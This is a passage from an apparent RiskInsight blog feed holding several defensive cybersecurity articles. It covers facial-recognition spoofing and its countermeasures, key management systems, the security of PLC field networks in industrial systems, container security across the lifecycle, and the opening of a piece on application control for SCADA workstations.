Like spy movies, researchers have explored face substitution attacks, using sophisticated techniques to deceive systems by presenting artificial faces that resemble real ones. These techniques can range from simple cardboard masks to custom-made silicone masks replicating a person’s face and details. These attacks have raised concerns about the reliability of facial recognition systems in real-world scenarios. 

Note that some facial recognition systems (such as Microsoft’s Windows Hello) rely on infrared cameras to ensure they are facing a genuine face. 

Procedure for creating a face for a face substitution attack 
 
 

Superposition attacks 

In some cases, simply overlaying a patch on another image can mislead FR algorithms. It is possible to calculate the image that best represents a person or object (in our case, a toaster) from the model’s perspective, and insert this element into the image we want to manipulate. The FR model will tend to focus on this area, potentially completely altering its predictions. 

Example of a superposition attack 

Illumination attacks  

By playing with the surrounding lighting, it is common to be able to alter the performance of a FA algorithm, highlighting the need to take environmental conditions into account. 

Tomorrow, a defense that is equal to the risks   

Faced with these fallible systems, a whole set of protection strategies appear, generally focusing on verifying the consistency and veracity of the images presented. A brief overview of the areas of work for the defense: 

1. Blinking: Blinking can be used as a defense mechanism to verify the authenticity of faces in real-time, as blinking is hard to reproduce and natural way on an image or video. Based on natural blink patterns, facial recognition systems can detect fraud attempts and enhance the security of biometric identification. 
2. Gait analysis: Gait analysis provides an additional layer of defense by checking the consistency between the claimed identity and the way a person walks. This method can help prevent attacks based on imposters or fakes by detecting irregularities in the way a person moves, increasing the security of facial recognition systems. 
3. Dynamic facial features: By using dynamic facial features, such as muscle movements and blinking, face alertness analysis helps distinguish real faces from fakes, preventing attacks based on pre-recorded images or videos. This technique enhances the security of biometric authentication by ensuring that the faces submitted for recognition are alive and live. 
4. Full 3D scan: Full 3D scanning captures the three-dimensional details of the face, providing a more accurate representation that is difficult to counterfeit. Using this technique, facial recognition systems can detect fraud attempts by masks or facial sculptures, enhancing the security of biometric identification. 
5. Trusted complementary biometric techniques: By combining multiple biometric modalities such as facial recognition, fingerprint, and voice recognition, facial recognition systems can benefit from multiple layers of defense. This approach enhances security by reducing the risk of recognition errors and bypass, providing more robust and reliable biometric identification. 

Conclusion 

Due to their “black box” design, AI-based systems, with more recently generative AI, are currently fallible. New types and techniques of attack are emerging, as are defence technologies. 

In the case of facial recognition, it can expose its users to obvious risks of identity theft, with a pro/personal permeability, like any biometric authentication, unlike a simple password.  

With the democratization of “deepfake” technologies, and the erosion of our trust in images, an effort to secure these systems must be ensured, commensurate with the great responsibility that can be given to them. 

Cet article The different faces of Facial Recognition: operation and attacks  est apparu en premier sur RiskInsight.

Increasing security requirements for both industrial environments and connected objects have led to a profusion of cryptographic keys in companies that are sometimes difficult to manage. These are used to encrypt and decrypt documents and exchanges as well as to verify the authenticity of messages and files, for example, when updating a component’s software, to ensure its integrity. 

One solution, to the problem of the complexity of managing numerous cryptographic keys within a company, is to implement a KMS (Key Management System). This tool helps protect data, product, and process security in the form of a centralized cryptographic key management tool. 

Beyond standardizing processes, the KMS can help solve problems such as the generation of large numbers of different keys, key storage and access, and key depreciation. 

Why use a KMS? 

KMS (Key Management Systems) are cryptographic key management systems that allow companies to manage their encryption keys centrally and securely. KMSs are designed for organizations managing a large number of cryptographic keys and improve the security of their environments by standardizing processes and providing APIs for crypto functions (signature, encryption, decryption). Organizations with large IT networks and those in the industry with connected objects such as sensors, actuators, embedded systems, or selling connected products are also particularly concerned. 

The importance of good key management is crucial to cybersecurity. Encryption, signature, or verification processes are essential for many organizations, even if they sometimes appear transparent to operational staff. It is important that encryption keys are optimally managed, to avoid, for example, insecure key storage or the use of the same key for multiple devices. 

This article will take a closer look at what a KMS is, how it works, and why it may become essential. Several types of KMS will be presented, as well as the advantages of using them and the difficulties of integrating them. Finally, this article looks at some of the keys to targeting companies that can benefit from this type of tool. 

To get more information on the KMS architecture, you can watch Paul Chopineau conference at the Miami S4x24 https://youtu.be/J5aeAYxcc24?feature=shared. 

Figure 1 : Typical KMS architecture 

The different ways to deploy a KMS 

There are several ways to implement a KMS depending on the options offered by the manufacturer. Some Key Management Systems are offered in SaaS mode while others can be installed on the company’s servers (on premise) or in a hybrid mode- where the keys are stored on premise, but the application is in the cloud. 

Implementing KMSs through cloud solutions enable encryption keys to be managed from a computer or server. These products are more scalable and agile, and easier to deploy and update. Key security, however, will depend on that of the cloud service, even if it is possible to introduce over-encryption. 

On-premise KMS are software and hardware solutions that enable cryptographic keys to be managed using an organization’s internal servers and HSMs. They are generally more customizable and sometimes better adapted to specific needs than KMS deployed in SaaS mode. On premise KMSs, however, take longer to integrate and cost more to purchase (initial CAPEX). They also have the advantage of enabling a company to ensure sovereignty over its cryptographic keys. On premise KMSs are therefore best suited to companies with very stringent security requirements and a greater capacity for initial investment. 

Finally, hybrid KMSs could represent the right balance between optimum security and ease of deployment. The aim is to retain control over the keys, which in this case are stored on site, but to benefit from greater ease of deployment and scalability thanks to a cloud-hosted application. Deployment of the application is made easier, but the hardware resources for key management (HSMs) still need to be installed. A hybrid KMS includes key security approaches of an on-premise solution with software that makes it dependent on the cloud service. Care must be taken, however, to protect against fraudulent exploitation of keys from cloud infrastructures, which could be more difficult to detect than with an on-premise KMS. 

Figure 2 : The three possible implementations for a KMS 

It is also possible to classify products on the market according to provider type. 

Firstly, there are the products of the major cloud players: 

• Amazon with AWS Key Management Service (AWS KMS), 

• Microsoft which offers Azure Key Vault, 

• Google with the Cloud KMS (Key Management Service), 

• IBM which offers a KMS (Key Management Service) integrated into IBM Cloud Private. 

Their products integrate perfectly with the services provided by these major providers, including their secure key storage tools, such as Google’s KMS, which enables keys to be created in the cloud and stored in HSM. 

Specialized companies are also positioning themselves in the market: 

• Cryptomathic with its CKMS (Crypto Key Management System), 

• Entrust, whose product is called KeyControl, 

• HashiCorp, with its product  Vault, 

• Utimaco, whose KMS is called KeyBridge, 

• Thales, for example with its Trusted Key Manager (TKM). 

In particular, these companies offer to run their tools on software resources, such as KMS from Microsoft, Amazon, and Google for HashiCorp; or VMware for Entrust. But also, hardware resources, such as HSM, which provide a superior level of security against physical attacks. 

Finally, the market has also been joined by integrators, such as Atos with its Trustway DataProtect KMS suite, designed for on premises installation on company hardware. 

Finally, Thalès, which positions itself as a hardware provider, publisher, and integrator, offers several key management products for companies. These work in tandem with those offered by more specialized players, as well as with their customers’ preferred cloud services. 

Figure 3: Three main types of KMS providers 

The advantages of using a KMS 

KMS (Key Management Systems) are tools whose full potential has still to be explored, of which can prove particularly useful for managing a company’s encryption keys centrally and securely. Here are just a few of the advantages of using KMSs. 

Firstly, keys will be easier to deploy. KMS enables new cryptographic-encryption keys to be generated quickly and automatically, which is particularly useful when many different keys need to be generated for transmission to products, connected objects or industrial systems. 

In a context where connected object keys are often not renewed and are managed in a non-standardized way, KMS will enable companies to introduce the level of security that will enable them to comply with future regulations on IoT systems. The same applies to the encryption of sensitive data in a database, which is the use case that gave rise to KMS products in the first place. 

To improve key storage and access, KMS offer centralized APIs and interfaces, integrating permissions management with identity and access management (IAM), which can be particularly useful for companies with many types of keys and users of encryption keys. The challenge will be to convince providers and partners outside the company to enter keys via the KMS. This will be an element to be negotiated in future framework contracts. 

KMS also enables one to manage the depreciation of encryption keys, automatically replacing them with new ones when they expire, are compromised or simply become obsolete, for example following a change in the security policy. This ensures that data remains secure at all times. 

In short, KMS are invaluable tools for efficiently and securely managing a company’s encryption keys. They improve compliance with regulations and security standards by ensuring that key management procedures and the keys used comply with established standards. 

Traps to avoid when implementing a KMS 

Setting up a KMS (Key Management System) is a major undertaking, which can be hampered or even halted by the following factors:  

• Deployment costs: KMS can be very costly to deploy. These include license fees, as well as hardware resources such as HSM for key storage, which need to be sized according to usage (frequency of access, volume). 

• Complexity of implementation: setting up a KMS can be complex, especially for companies with a large number of encrypted devices or systems, for whom it will be of high added value. Setting up a KMS can be complex, particularly for companies with a large number of encrypted devices or systems, for whom it will add considerable value. Numerous integrations may need to be set up to communicate with the KMS API, depending on the different use cases. 

• Specific change management procedures: it will sometimes be difficult to convince all the company’s users of the importance of implementing a KMS, and to encourage them to use this tool effectively. To solve this problem, a communication and training strategy is needed to make users aware of the importance of encryption key security and the usefulness of the system.  

• Skills that are rare on the market: IT architects, cryptography specialists, or project managers capable of managing large-scale cybersecurity projects. These are all profiles that are hard to source, and which will be all the more numerous to recruit the more cryptographic keys are used within the organization. Calling on external expertise will therefore be highly profitable and difficult to avoid.  

KMS, an essential solution for secure encryption key management 

In conclusion, KMSs are an essential solution for securely managing a company’s encryption keys. Whether a large enterprise with a large number of encrypted devices or systems, or a small business with similar issues, a KMS can greatly help to centralize and secure crypto key management. 

As an example, take the case of a freight company. It must manage numerous components in its vehicles, such as sensors to ensure compliance with the cold chain, or simply devices for tracking products. These objects connect to public or corporate networks, transmit encrypted data, and are regularly updated. Firmware must therefore be signed when an update is deployed, and encryption keys for data transmitted by sensors must be securely stored to ensure their integrity and confidentiality, as well as being available to operators in the event of a sensor modification. The KMS is particularly useful for all these processes, both to automate them and to facilitate the work of operators, and to ensure that each person involved only has access to the keys he or she uses. The tool will take care of key generation, or key recovery, if the keys have been generated externally, and then all the other stages in the key life cycle. 

It should be noted, however, that assessing the suitability of this technology needs to be taken seriously. Upstream studies and a tendering procedure will be necessary to ensure that the right tool is put in place. By carrying out these procedures with a precise vision of business uses, the company can be sure of not having to change its system later on. 

Cet article KMS: The Key to Secure Management of Cryptographic Objects  est apparu en premier sur RiskInsight.

Industrial systems are a category of information systems of their own, with codes and properties that differ from “classic” IT systems. It is well known that the level of maturity of the industrial sector in terms of cybersecurity is generally lagging in comparison with what is done in IT systems. This delay can be explained by several factors, one of which being the historical legacy of industrial systems that sometimes are in place since several decades. This article will focus on one of these historical aspects which can be found in many industrial networks today: which are known as ‘PLC’ or ‘field’ networks. We will first look at the history that led to the existence of these networks, then examine the strengths and weaknesses of the model with respect to current and future cybersecurity needs, to answer the following question: Are field networks adapted to new cyber security needs?

History

Let’s go back in time: we are not going to talk about the different industrial revolutions, but our story begins at the start of the 70s. At the time, there was no Ethernet network, OSI model or even IT. Industrial production systems relied on physical mechanisms using pneumatic or electrical signals. The 1970s saw the arrival of the first principles of automation, and the integration of the first intelligent equipment: the programmable logic controllers (PLC). This equipment allows resources to be pooled, as a PLC can manage several electrical inputs and outputs, and therefore centralise the management of processes. PLCs also incorporates communications modules, and this led to the appearance of the firsts bus networks in industrial systems, using serial communications protocols.

This architecture model will continue to develop in the 80s with the increase of industrial protocols, based on the “Controller-Workers” model: A main PLC contains the centralised database and plays the role of an orchestrator by being linked to the “Workers”, corresponding to other PLCs, remote input/output cards, etc… This architecture simplifies process programming at a single point, as well as communication with supervisory devices such as the man-machine interface or proprietary SCADA.

The 1990s brought the democratisation of the TCP/IP model and the integration of ‘traditional’ IT into industrial environments: no more need for proprietary equipment, SCADA software can now be installed on conventional systems… but these computers still need to be able to communicate with the PLCs! Serial network cards exist, but industrial protocols are beginning to adapt to operate on a conventional Ethernet network. Master controllers are gradually being replaced to enable them to use TCP/IP protocols on the main network, while continuing to have serial network cards for field equipment. Then it was the turn of field equipment to adapt to the standardisation of TCP/IP use everywhere, so that today the use of serial communications is minimal. Even electrical inputs/outputs are now tending to be replaced by IP links on sensors and actuators, via the use of “Single Pair Ethernet” connectors, for example, which provide a low-cost and space-saving connection.

Evolution of field architectures

As a result, the following architecture is now commonplace: A “main” industrial physical network (in star or ring topology) containing all the supervision and external communications equipment (SCADA, Data Historian, operator station, etc.) as well as the PLC controllers, each of which has a second network port. This second network port makes it possible to create an isolated sub-network on each PLC on which the equipment closest to the physical process is located. The PLC controller then acts as a “functional pivot”, exchanging data with the SCADA system on the one hand, and with field equipment via the PLC’s data registers on the other. This architecture can be adapted in several ways, for example, by replacing the pivot PLC with a server, or by combining several layers of isolated networks with a SCADA server having two network ports, separating the main industrial network and the supervision network in which the controller PLCs are found, on which a new separation is made with field networks.

Example of industrial architecture integrating field networks

Now that we’ve looked at the past, let’s talk about the present, and in particular the three evolutions that are leading us to question the relevance of this architectural model today:

• Industry 4.0, which has changed the face of industrial networks, moving from an isolated model to an ultra-connected model to meet the challenges of Big Data, interconnection with the Cloud, the digital twin, etc…
• The standardisation of industrial technologies, enabling us to move away from industrial suppliers, via the development of “Soft PLCs” on Linux or onboard Windows, or the use of standardised industrial protocols such as OPC-UA.
• The introduction of cybersecurity solutions at the core of the industrial network, such as update servers, firewalls, antivirus and even EDR or network probes, whose presence makes sense with the modernisation of IT infrastructures and the development of cybersecurity in the industrial environment.

To study the relevance of field networks in the light of these new challenges, we are going to look at four operational security issues: network security, remote access, update management, and detection and mapping.

Network security

The first question to ask is simple: What are the advantages of field networks from a cyber security point of view? This advantage is reflected in the very principle of the architecture model: the use of pivot equipment provides physical isolation between an industrial network and a field network. In principle, therefore, it is not possible for the two networks to communicate directly, as information is transmitted via a database (registers for PLCs, OPC database for a server, etc.). There is no need for a firewall or diode: no flow can go from one network to another, which is the best way of protecting against propagation to field equipment.

But is this separation, made using a physical equipment not dedicated to the network, foolproof? On equipment operating on a ‘classic’ Windows or standard Linux system, the answer is no. There are many examples of attacks that convert these systems into pivots, exploiting the many possibilities offered: exploitation of remote access protocols such as RDP, VNC or SSH, RAT, C2C implants, etc. As a result, a separation with this type of system will slow down an attacker but does not significantly reduce the possibilities of reaching field networks that would exist on other network cards.

In the case of a “classic” PLC, this is usually a piece of equipment running on a proprietary operating system that offers few functions: at the very least it can run industrial programs and communicate with one or more industrial protocols and can optionally contain more traditional HTTP or FTP type servers. The equipment therefore offers far fewer functions than a computer or server and is not designed to provide gateways between its various network cards… or so we tend to think. However, it has been shown that it is possible to create gateways between the various network ports of a PLC: via research work such as that by Nicolas Delhaye and Flavian Dola presented at GreHack 2020 (the video here), but more concretely via the Pipedream malware discovered in 2022. This malware enables network routes to be created on Schneider PLCs, transforming them into proxies and giving them the ability to route any protocol to field networks.

Illustration of how the Pipedream module targeting Schneider equipment works.

We have therefore proved that, even in the case of separation by a PLC, the model is not infallible, but it still makes it possible to greatly reduce the risks by only exposing the field networks to very advanced attacks.

Mapping and supervision

Following the previous paragraph, a question naturally comes up: how do you supervise a network whose strong point is its isolation? Firstly, about logging, the current observation is that PLCs and industrial equipment are still very rarely included in security supervision perimeters: for technical reasons, as not all equipment is necessarily capable of sending back syslog-type logs, but also for organisational reasons, as SOC teams still lack the maturity to make proper use of event logs from this type of industrial equipment.

To overcome this lack of visibility, industrial environments are becoming increasingly subject to the installation of a network probe, enabling supervision and mapping requirements to be met. In particular, systems falling within the scope of the French Military Programming Laware required to install an ANSSI-qualified detection probe. Technically, it is possible to make isolated networks communicate with a probe by using network TAPs, whose function is to passively copy network traffic so that it can be listened in on. Strategically, field networks are rarely the place to monitor the network side. Priority should be given to interconnection points with other networks (company, supplier, etc.) or critical control equipment such as SCADA.

 
Example of a supervision architecture integrating field networks

However, the TAPs solution is not applicable to “active” probes, which seek to map by questioning the various devices on the network. But this type of solution is rarely implemented in an industrial context, to avoid ‘stressing’ the network and the equipment.

The field network model therefore remains compatible by focusing on network supervision with the installation of probes for detection, as well as passive mapping. The feedback of system logs from PLCs and industrial equipment is still not sufficiently relevant to the analysis capabilities of SOCs.

Update

To be able to make updates, it is necessary to have a network interconnection with a system allowing these updates to be sent to endpoints, which is opposed to the isolation of field networks. Does the need for updates in an industrial environment make the field network model obsolete?

Maintaining security is a complex issue when it comes to industrial systems: the high level of availability prevents any major intervention, systems that are isolated from the Internet mean that updates cannot be downloaded over the network, etc. In the case of networks made up mainly of PLCs, update mechanisms have evolved to take account of these constraints, with the result that today the number of PLCs kept up to date is very small (even on an annual basis), and these updates are mainly deployed manually by maintenance staff. The use of field networks to partition the architecture does not prevent these same mechanisms from being applied to PLCs.

On the other hand, the integration of IT technologies is changing the rules: one of the first security solutions recommended for a Windows installation is to set up a WSUS server to centralise the deployment of updates, and the same principle is also applicable to Linux technologies. This brings us to a new constraint for field networks with equipment such as Soft-PLCs or dedicated operator PCs: partitioning by dual network cards prevents centralised management of updates, forcing the implementation of a manual patching process that can be complex and time-consuming for many devices.

However, this constraint must be evaluated in relation to the need. The main argument in favour of updates is that they enable vulnerabilities to be corrected that increase the attack surface of an equipment. As the field network model strongly isolates systems, their attack surface is already greatly reduced. It is therefore acceptable for systems not to be constantly updated, and in this case a manual annual update of the equipment meets the need.

However, this model is not suited to the need for antivirus software to be constantly updated to guarantee optimum protection. This is why it is necessary in this case to rely on systems that move very little over time, which makes it easier to use whitelisted application filtering solutions such as AppLocker or WDAC (see our article on application filtering).

Finally, updating practices in industrial environments have adapted to the very principle of network isolation, enabling these needs to be reduced. These practices do, however, require equipment to be hardened when installed, and solutions to be put in place to maintain system security levels with a minimum of maintenance.

Remote access

Having looked at “automated” update flows, what about flows initiated by a user to access remote equipment for business or maintenance operations? For PLCs, such access is rare: they do not need human intervention to perform their tasks, and in the case of internal maintenance, this is often carried out by accessing the PLC from the network on which it is located (dedicated administration networks for PLCs are still very rare). If the PLC is accessible from the main production network, maintenance can be centralised from a single connection point. On the other hand, since field networks are isolated from the production network, the PLCs located there can be accessed by connecting the maintenance laptop to the ‘right’ switch, interconnecting the various items of equipment on the sub-network, or even directly to the PLC’s USB port with a serial link.

On the other hand, there are limits when it comes to field networks with equipment maintained by a supplier or maintenance service provider. This is because remote maintenance has become the preferred method, and it is quite rare these days to have third-party maintenance staff available to physically visit the site at any time. The most common solution to this problem is to install a VPN termination directly on a field network, with a tunnel connected to the service provider. This effectively addresses the problem, but also bypasses the whole principle of isolating field networks, which are then exposed in the event of the service provider being compromised.

This is where we reach the biggest limitation of the field network model, reinforced by the trend towards centralising remote access and installing bastion-type solutions that cannot cover access to field networks due to their isolation.

Conclusion

The existence of field networks is mainly historical, due to the old controller/worker architecture models and the gradual introduction of the TCP/IP model in industrial networks. These architectural models have adapted to the life cycle of systems: they are accessed very little by users and are designed to operate autonomously by sending data back to the controller.

Partitioning is the main strength of field networks: transforming a PLC in a rebound equipment to two different network interfaces is a highly advanced attack technique. To detect possible attacks, solutions exist for setting up supervision on isolated networks, in particular with TAPs.

The other advantage of network isolation is that it reduces the effort required to maintain security. The need to update isolated equipment is not necessarily the same as for equipment used by humans and interacting with third-party networks. Since isolated equipment has a lifecycle with few changes, the focus should be on hardening when it is brought into service.

However, the isolation of these networks poses several problems in terms of remote access: it is possible to limit this when the industrial estate is managed internally, but it is essential when a service provider needs to intervene remotely. To avoid local initiatives or third-party solutions, it is advisable to implement a controlled remote access solution (VPN, bastion, etc.), with the accessed equipment placed on a dedicated sub-network with a filtered and controlled entry point.

In conclusion, the field network model is still relevant today. However, recent trends, particularly those linked to Industry 4.0, will raise new issues: the emergence of Industrial IOTs, involving the implementation of IoT network buses interconnected with the outside world, calls into question the relevance of having isolated IP networks cohabiting with more exposed IoT buses.

Source

Dragos Analyzing PIPEDREAM: Results from Runtime Testing
https://www.dragos.com/blog/analyzing-pipedream-results-from-runtime-testing/

GreHack 2020: A full chained exploit from IT network to PLC’s unconstrained code execution
https://www.youtube.com/watch?v=PfdoaxYkmUE

Cet article PLC network: the history of industrial systems  facing up to the challenges of the future est apparu en premier sur RiskInsight.

In 2019, 84% of production infrastructures were already using containers[1]. As it is often the case, this massive adoption has taken place without the integration of Cybersecurity teams, sometimes out of ignorance of the technology, and sometimes out of a vision of simplicity and efficiency for development teams. 

The need to secure containers is greater than ever, and it’s time for Cyber teams to understand the technology and define the right security measures. 

We’ll start with a comparison between containers and virtual machines, then look back at the reasons for the emergence of containers. We’ll then look at how to secure them throughout their lifecycle, step by step. 

Virtual machine, container: what’s the difference? 

But why choose a container? To understand this, we first need to look at the difference between a virtual machine and a container. 

The main difference between a VM (Virtual Machine) and a container lies in the elements included in the virtualized space. A container contains only the applications and dependencies required to run it, whereas a VM will contain an operating system on which one or more applications will be installed. As a container has no operating system of its own, it relies on the one of the hosts on which it runs on. This distinction makes for greater lightness and complexity. 

So why use containers at all?  

Containers were not developed to enhance security, but rather for infrastructure purposes. The main advantages are: 

– Consistency: containers can be launched on any machine and will operate in the same way. 

– Economy: containers are faster and require fewer resources than VMs, so they cost less. 

– Automation: it’s much easier to automate the deployment of a container than the creation of a virtual machine (Cloud technologies have come a long way in this respect). 

These three advantages, combined with the popularization of the DevOps approach within companies, have led to an explosion in the use of containers. Without being side-lined, security has not been an objective in the design of containers. As a result, good security practices have been put in place as the technology has been developed and used. 

Execution models 

 The advantages of containers are linked to a specific mode of operation based on very specific execution kinematics. Let’s take a look at container execution models. 

A container can be run on an on-premise or cloud-hosted machine. As explained above, a container contains only an application and its dependencies. It has no operating system, and thus relies on the host’s functionality. Consequently, a container requiring Linux functionality will need to run on a machine with a Linux operating system. Conversely, a container requiring Windows functionality will run on a Windows machine. However, virtualisation processes, such as Hyper-V for Windows, make it possible to overcome these constraints. 

To run a container on a machine, you simply need to install container management software (a container runtime). Among container platforms, Docker, lxd and Containerd are the most widely used. 

 This makes it easy to run a single container on a machine. However, companies often have a large number of applications. The problem then arises of managing and scaling the containers to be deployed.  

This is where container orchestrators come in. An orchestrator makes it easy to manage the deployment, monitoring, lifecycle, scaling and networking of containers. These orchestrators can be configured on on-premise machines or through services made available by Cloud providers. In the latter case, they are easy to set up and configure, as they are managed by the Cloud provider. The most widely used orchestrator technology in companies is Kubernetes. There are also a number of products based on it, such as OpenShift. Other alternatives, such as Docker Swarn, also enable orchestration.  

 In some cases, there may be a need to manage and scale containers, all without managing the infrastructure. For this purpose, Cloud providers have made available services that enable containers to be run in a managed way. All the user has to do is specify a few configuration points. This type of service is called CaaS (Container as a Service). 

The following infographic summarizes the execution models and the names of the technologies or services:  

This wide variety of deployment modes means that the container can be adapted to suit business needs. It’s important to remember that the security of a container at runtime also depends on the security of its infrastructure. 

Focus on the Kubernetes orchestrator  

As previously stated, Kubernetes and products based on this technology for orchestration are the most widespread. Kubernetes will be used to illustrate how an orchestrator works. To put it simply, let’s take the analogy of a container port. 

Let’s start with the worker nodes. These will be our container ships. Their role is to carry the load, i.e., to execute the orchestrator’s containers. 

Kubernetes then introduces the concept of pods. A pod will be the containers on the ships. A pod is generally made up of a single container. It is this component that runs the application to be deployed. 

Next, we have the control plane, made up of master nodes. These are represented by the cranes that dispatch the containers from one boat to another, according to the load each boat can accommodate. In Kubernetes technical terms, the master node will decide on which worker node(s) to execute pods. The master node is the cluster’s central point. It contains all the cluster’s intelligence. It’s also with this node that we interact to administer the cluster, and it’s with this node that the worker nodes interact to know what actions to perform according to the pods they’re executing (create new ones, destroy them…). 

Finally, there’s a load balancer, represented in this analogy by the trucks carrying the containers. The load balancer distributes the load of incoming flows between pods. For example, if three pods are hosting the same application, the load balancer will distribute requests between the 3 pods, so as not to overload any one of them. The load balancer is the interface between the cluster and the outside world, just as trucks are the link to the outside of the port. 

Here is a more traditional technical diagram showing the various components: 

The following resource from the Kubernetes documentation describes the set of components.[2]

How can we secure containers at every stage of their lifecycle? 

Now that we’ve covered the basics, let’s take a look at how to secure it all. Security must be applied to every stage of a container’s lifecycle. Indeed, each stage presents its own challenges and associated security impacts.   

The image is first built 

The first step in the container lifecycle is to choose a base image. A container image is a set of lightweight software and files that includes everything needed to run an application: code, runtime, system tools, system libraries and parameters. In most cases, this image is retrieved from the Internet. There is therefore a risk of using an image from an unknown source that has already been compromised (with a backdoor, for example).  

So, in this first stage, it’s vital to choose the source of your image carefully, to ensure that you take a “trusted image”. This can be achieved by using reference sources such as Docker Hub, or by creating your own image catalogue. In the latter case, the images are verified and validated upstream by the company’s security teams and are known as “golden images”. 

The second step is to install an application on the image. There is therefore a classic risk of a vulnerability in the application code. Vulnerability scans, developer awareness and adherence to good development practices are essential here to prevent a vulnerability from creeping into the application code.  

The third step is image configuration. These are default configurations applied when containers are deployed. For example, a container is run with the root (or system administrator) account by default: leaving this configuration unchanged represents a risk should the container be compromised. Furthermore, setting the container’s file system to read-only also limits the impact of a compromise. Indeed, with these two configurations, an attacker will have less free rein for his actions. 

The image is then stored in a container repository 

Once the image has been built, it needs to be stored so that it can be accessed and deployed as many times as required. To do this, we use a container repository, which also needs to be secured. Indeed, if an attacker pushes a corrupted image into the container repository, it can be deployed in production. 

Several security measures can be implemented to secure the container repository: 

• Restrict user or resource rights and permissions on the repository to reduce risk: only people or resources who need to “push” or “pull” an image from the repository should be entitled to do so.  
• Restrict network exposure.  
• Scan images before they are deposited, at the time of push. This action limits the presence of compromised images on the container repository. 
• Sign pushed images to ensure their integrity.  
• Keep a record of actions carried out on the container repository. 

This is followed by the image deployment phase 

Once the image has been built and stored, it needs to be deployed to make it accessible.  

When a container is deployed, configurations are determined according to use cases. Some configurations reduce the existing logical isolation between containers and the host. For example, you can authorize a container to list the host’s processes or share the same network card. Privileged configuration can even break down these isolation barriers, giving containers access to all host functions. These configurations, some of which are dangerous, can lead to container escapes: i.e., an attacker on a container can use these privileges to escape to the operating system. Once on the operating system, an attacker can obtain information from host files or initiate lateral moves. In other words, it’s one step further into the information system. 

In terms of deployment recommendations, the first step is to restrict container repositories to a known and trusted list. Subsequently, configurations such as AppArmor, Seccomp or the deactivation of Linux capabilities can be used to restrict system calls and resources used by containers. Finally, the container file system should be configured as read-only, and the principle of least privilege applied to configurations passed to containers. In other words, it’s necessary to limit the use of privileged configuration or the breaking of certain isolations (process, network, etc.). 

Finally, the container is executed 

When it comes to execution, we’re going to focus on the methods favoured by enterprises. That is, orchestrators, often with Kubernetes, or container hosting services in the cloud, known as CaaS.  

In the case of Kubernetes orchestration, the first objective will be to verify the conformity of container deployments, in order to avoid the deployment of privileged dangerous containers. These may be the result of an attack or simply administrative errors. Depending on the platform, this may involve PodSecurityAdmission, SecurityContextConstraint or external tools such as OPA Gatekeeper.  

It is also recommended to restrict network flows within the cluster, between containers, and out of the cluster to restrict lateral movements. This restriction can be applied with NetworkPolicy or again with external micro-segmentation tools. Finally, it will be necessary to have fine-grained role and user management, and to apply sufficient hardening to the virtual machines serving as nodes. 

In the case of CaaS, the infrastructure is managed by the cloud provider. As a user, hardening can only be achieved by enabling or disabling certain options. An analysis of each solution will be necessary to define precise recommendations, as Azure, Google Cloud Platform and Amazon Web Services all offer different options. 

Eventually, monitor all stages 

Container monitoring is important for debugging purposes and for recovering evidence in the event of an incident. Unfortunately, unlike a virtual machine, a container is ephemeral. So are its logs… So how do you go about it? 

Monitoring can be carried out at three levels: 

• At container level, by outsourcing logs (to combat the ephemeral nature of containers and their logs) 
• at container workload level 
• Infrastructure level (cluster nodes, for example) 

This collected logging can be managed by dedicated SOC Cloud teams or centralized in the company’s SIEM. Detection scenarios can then be created to detect IAM modifications, abnormal resource consumption and so on. 

It’s worth mentioning that CaaS solutions and Kubernetes managed by a Cloud provider (AKS, EKS, GKE, …) make it easy to centralize and externalize these logs. 

This section covered the best practices to be followed and the risks associated with each stage in a container’s life cycle. The diagram below provides a summary: 

CWPP, the solution to our problems? 

CWPP, Cloud Workload Protection Platform, is a new tool we’re hearing a lot about at the moment. But what does it do? 

A CWPP is a tool for monitoring and detecting threats to workloads, i.e., all services running in the cloud, and in particular containers. It helps to ensure security throughout the lifecycle described above. It is particularly useful for detecting secrets and vulnerabilities in application libraries, reviewing repository access, checking configurations, and managing monitoring (log collection, detection, and remediation). 

Like all tools, CWPP is not magic. It will need to be deployed with or without an agent, depending on the scenarios you wish to cover. But beyond the technical aspect of deployment, it will be necessary to integrate it into the company’s processes, so that all players have a tool enabling them to optimize security. We must therefore not underestimate the work involved in defining strategy, new processes, and support for change, as well as the integration of the tool with the tools used by developers. For example, a developer will want to be informed that they need to remediate a container on their incident management tool (JIRA, issue in the project Git…) and be able to test their new container from their machine before even pushing it into the container repository.  

The functionalities of a CWPP are often already partially or fully covered by existing tools, and its implementation can help centralize vision and sometimes optimize licensing costs. 

Key elements of container security 

As you can see from this article, containers were born for infrastructure needs. Their lightness and flexibility make them a perfect asset for today’s application needs. The implementation of containers mean that new attack surfaces need to be protected, and that container security needs to be taken into account.  

Unfortunately, there is no single tool or best practice to follow. In fact, as the article illustrates, it’s a combination of elements that make it possible to secure these application boxes. Among the best practices to be observed, the following 5 points are the key elements to remember: 

1. Control images: by using a hardened trusted image, securing source code, and performing vulnerability scans. 

1. Secure container isolation: by avoiding dangerous configurations when deploying containers and by hardening images. 

1. Ensure network segmentation: by restricting the cluster’s external exposure, flows within the cluster and out of the cluster. 

1. Monitoring and detection: by retrieving logs at 3 different levels and setting up detection scenarios 

1. Secure IAM access: by applying fine-grained IAM management on the cluster or on the Cloud provider. This management can be accompanied by periodic reviews. 

[1] https://www.lemondeinformatique.fr/actualites/lire-l-usage-des-containers-en-production-bondit-a-84-78347.html

[2] https://kubernetes.io/docs/concepts/overview/components/

Cet article Safe sailing: step-by-step container security  est apparu en premier sur RiskInsight.

A SCADA (Supervisory Control And Data Acquisition) system enables the remote management and control of industrial installations. This includes machines such as supervision stations, data centralization servers, maintenance laptops…).

SCADA stations include three main functions:

• Acquisition: Sensors are present on the programmable logic controllers (PLCs) acting on the industrial process. These sensors are connected to the SCADA system so that the various process data can be retrieved.
• Supervision: Operators access the retrieved data and supervise the industrial process in real time.
• Control: when the industrial process allows it, operators can send control commands to PLCs in order to adapt the process.

The nature of these workstations makes them an important element in the production chain, which is why it is necessary to secure their software, which often runs under Windows.

However, there are several limitations compared with a workstation in a conventional office environment:

• The workstations run continuously, with a very low update frequency (once every 1 to 2 years);
• What’s more, these workstations have a long lifespan, often more than 10 years. A SCADA workstation will therefore partly run on an obsolete operating system, which will no longer receive security patches during its lifetime.
• Finally, industrial systems are sometimes totally isolated, preventing the use of security solutions such as Endpoint Detection and Response (EDR), which need to be able to communicate with a central console to send alerts and retrieve actions to be taken.

Conventional security solutions are therefore not applicable in an ecosystem subject to these limitations.

A possible solution: application control

One solution to these problems is application control: this involves managing which applications are allowed to run on a machine, and which are not, by whitelisting authorized applications.

